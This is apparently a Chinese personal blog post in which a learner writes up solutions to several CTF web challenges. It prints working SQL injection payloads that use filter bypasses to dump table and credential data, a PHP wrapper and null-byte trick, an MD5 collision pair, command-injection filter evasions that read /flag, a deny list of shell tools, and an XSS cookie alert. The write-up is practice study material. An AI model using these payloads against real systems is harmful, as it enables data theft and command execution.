2020.04.16
太他娘的憋屈了
为什么每一道题目都这么难。。
憋屈。立个目标顺序做题。老子不选题目了!
【不然没选一题就不会一题。憋屈死我了!
Jarvis OJ-IN A Mes
花了好久呜呜呜,太菜啦
不过我也已经打算一天一题,不求多!
一进去 日常审查
访问后发现
1 |
|
可以看的出
data的值 利用php伪协议a=data://text/plain;base64,MTExMiBpcyBhIG5pY2UgbGFiIQ==
id的值利用PHP弱类型 id = 0e
看一下函数
substr
:这个函数很有名
它对于存在00截断的字符串 有着下面的操作
1 | var_dump(substr('%00123',0,1)); //string(1) "" |
这里呢 正则在pattern,我们的被比较的字符串在第二个参数。
那么,我们就分析清楚了
那么综合上面说的,参数b的payload就出来了
b=%00111111
第一 字符数大于5 第二 1114 存在 111 第三 第一个字符为空不等于4
好的那么payload就应该为:
?id=0e&a=data://text/plain;base64,MTExMiBpcyBhIG5pY2UgbGFiIQ==&b=%00123322
访问后出现了
大概率目录 怎么也不像flag
访问————出现了hi666 还有url为/?id=1
访问666 出现————>SELECT * FROM content WHERE id=666
那么我们可以看看是不是
sql注入
看看注入天书。。。
首先 测试id=1#
hi666 id=1--+
不是hi666 ——>过滤了–+
id=1+#
报错 ——过滤空格 id=1/*2*/and/*2*/1=2
很好测试成功
那么 爆库 爆表 爆列 一般来说 flag都在本数据库内部
selselectect/*2*/group_concat(table_name)/*2*/frofromm/*2*/information_schema.tables/*2*/where/*2*/table_schema=database()
中途遇到了过滤 尝试了双写可以绕过
得到了表名 只有一个 content ——爆列
d=-1/*2*/ununionion/*2*/selselectect/*2*/1,2,(selselectect/*2*/group_concat(column_name)/*2*/frofromm/*2*/information_schema.columns/*2*/where/*2*/table_name=0x636f6e74656e74)
这里的时候 第一次没有过 测试之后 应该是表名被过滤了
利用十六进制绕过 https://www.sojson.com/hexadecimal.html
得到列名
id=-1/*2*/ununionion/*2*/selselectect/*2*/1,2,(selselectect/*2*/group_concat(context)/*2*/frofromm/*2*/content)
最后得到flag。
总结一下
其实整体上并不难不是吗?
但是就是写不出 sql注入 emm很简单的绕过确实
%00 是我对php字符理解不到位。
2020.04.17
[极客大挑战 2019]LoveSQL
整理整理payload
爆出表名
select+group_cooncat(table_name)+from+information_schema.tables+where+table_schema=database()
爆出列名
select/*2*/group_concat(column_name)/*2*/from/*2*/information_schema.columns/*2*/where/*2*/table_name=geekuser
爆出值
select+group_concat(id,0x3a,username,0x3a,password)+from+geekuser
这道题目 很基础 就是标准的注入步骤
我觉得 你要会开发 你的安全才懂得多一点
[安洵杯 2019]easy_web
首先 太强了!
一进去 看到url是http://2b4abd37-fbab-46d8-bfa1-6e68cfde5813.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
img的值很像base64编码。所以我们直接测试
1 | TXpVek5UTTFNbVUzTURabE5qYz0= |
那么很可能是这样转换获取文件的 network里data也是这样
那么尝试读取一下index.php
1 | index.php |
然后查看源码 我们解码可以看到
1 |
|
这里我们的利用点在反引号命令执行
第一、MD5强相等
看人家wp的
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
第二、命令执行绕过
命令执行 ,就不要想着写代码了
它这个强制过滤,以往都是利用
1 | ca''t |
这题还有一个厉害的解法
sort /flag
结合一下过滤的函数来学习下命令
ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh
查看文件
more less head tail cat
那么我们的payload就出来了
1 | POST /index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=ca\t+/flag |
总结:MD5强匹配 命令执行绕过
2020.04.19
[BJDCTF 2nd]xss之光
考点:git泄露 反序列化xss
首先 xss
其次反序列化我明白
再其次git泄露很明显
一进去啥也没有,扫一扫
存在git泄露,那么githack
查看源码
1 |
|
这里要知道一点,没有可利用的类进行反序列化
那么我们只能原生类进行反序列化。
题目要求xss。
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label2
看看如何使用xss
很好不是吗。xss一般都是人家的cookie进行盗取
那么我们的xss代码就是
1 | <script>alert(document.cookie)</script> |
之后就弹出来了。
我这里xss不太明白。需要学习学习——>XSS篇
- 本文标题:四月安全憋屈-3
- 创建时间:2020-04-16 20:18:48
- 本文链接:2020/04/16/四月/四月安全憋屈-3/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!